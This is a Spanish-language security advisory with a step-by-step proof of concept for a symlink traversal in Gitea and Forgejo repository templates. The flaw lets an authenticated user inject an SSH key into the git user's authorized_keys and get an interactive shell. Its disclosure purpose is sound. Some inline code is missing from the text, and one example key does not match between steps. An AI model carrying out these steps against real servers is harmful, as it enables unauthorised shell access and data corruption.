
Un directory traversal en el procesamiento de plantillas de repositorio de Gitea y Forgejo permite a atacantes remotos autenticados procesar archivos arbitrarios en el sistema de archivos, lo que conduce a la ejecución remota de código.
Este trabajo está licenciado bajo una Licencia Creative Commons Atribución-CompartirIgual 4.0 Internacional.
Al revisar el código fuente de Forgejo y Gitea para entender mejor cómo se realiza el templating, descubrí una vulnerabilidad que permite a un usuario autenticado crear un repositorio de plantillas malicioso que puede ser utilizado para procesar archivos arbitrarios en el sistema de archivos.
Al crear un repositorio basado en el contenido Git de la plantilla maliciosa, la plantilla podrá expandir archivos arbitrarios en el sistema de archivos.
Conociendo la ruta del directorio home del usuario git (que por defecto es en la imagen oficial de Docker), un atacante puede expandir el archivo del usuario para inyectar una clave sin el parámetro , que puede usarse para ejecutar comandos arbitrarios o un shell interactivo.
/data/git.ssh/authorized_keysgitcommandVersiones afectadas: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Componente afectado: Repositorios de plantillas
Causa raíz: Desreferencia de enlaces simbólicos al leer y escribir contenidos de archivos de plantillas
El atacante se autentica como un usuario legítimo
El atacante crea un repositorio de plantillas malicioso que contiene un enlace simbólico al archivo .ssh/authorized_keys del usuario git adivinado y un archivo .forgejo/template que referencia el enlace simbólico
El atacante añade una clave pública SSH a su cuenta con un comentario personalizado que termina con ${REPO_DESCRIPTION}
El atacante crea un repositorio que referencia el repositorio de plantillas malicioso con el templating de contenido Git habilitado y una descripción que contiene un salto de línea seguido de otra clave pública SSH
Gitea/Forgejo lee y aplica plantillas al enlace simbólico authorized_keys, haciendo que el comentario de la clave pública previamente establecida se expanda a una entrada arbitraria correspondiente a la descripción del repositorio del atacante, sin el parámetro command
El atacante inicia sesión de forma interactiva como el usuario git, usando la clave inyectada
También es posible que el atacante corrompa archivos de configuración, la base de datos SQLite o cause denegación de servicio al leer archivos enormes.
Instalar y configurar una versión vulnerable de Gitea/Forgejo
Registrar o crear una cuenta para el atacante usando la cuenta de administrador
Iniciar sesión con la cuenta del atacante
Generar dos claves SSH diferentes: una para Git y otra para SSH interactivo
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub como una clave SSH autorizada usando la interfaz de Gitea/ForgejoEl comentario de la clave debe estar presente y verse así:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
El archivo .ssh/authorized_keys del usuario git ahora se ve así:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Crear un repositorio de plantillas malicioso usando la interfaz de Gitea/Forgejo
Clonar el repositorio de plantillas y agregar el enlace simbólico malicioso y la configuración de plantillas
# Clonar el repositorio de plantillas
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Crear enlace simbólico malicioso
ln -s /data/git/.ssh/authorized_keys
# Cuando se usa Gitea, crear la configuración de plantilla de Gitea
mkdir .gitea
echo authorized_keys > .gitea/template
# Cuando se usa Forgejo, crear la configuración de plantilla de Forgejo
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Confirmar y enviar los cambios
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pubLa descripción del repositorio debería verse así:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
El replaced en la primera línea no es necesario, pero debes asegurarte de que el salto de línea siga presente de todas formas. El comentario attacker@machine al final de la línea también es opcional.
El archivo .ssh/authorized_keys resultante del usuario git se verá así:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh y el cliente sshssh -i ~/.ssh/attacker-ssh git@localhost -p 222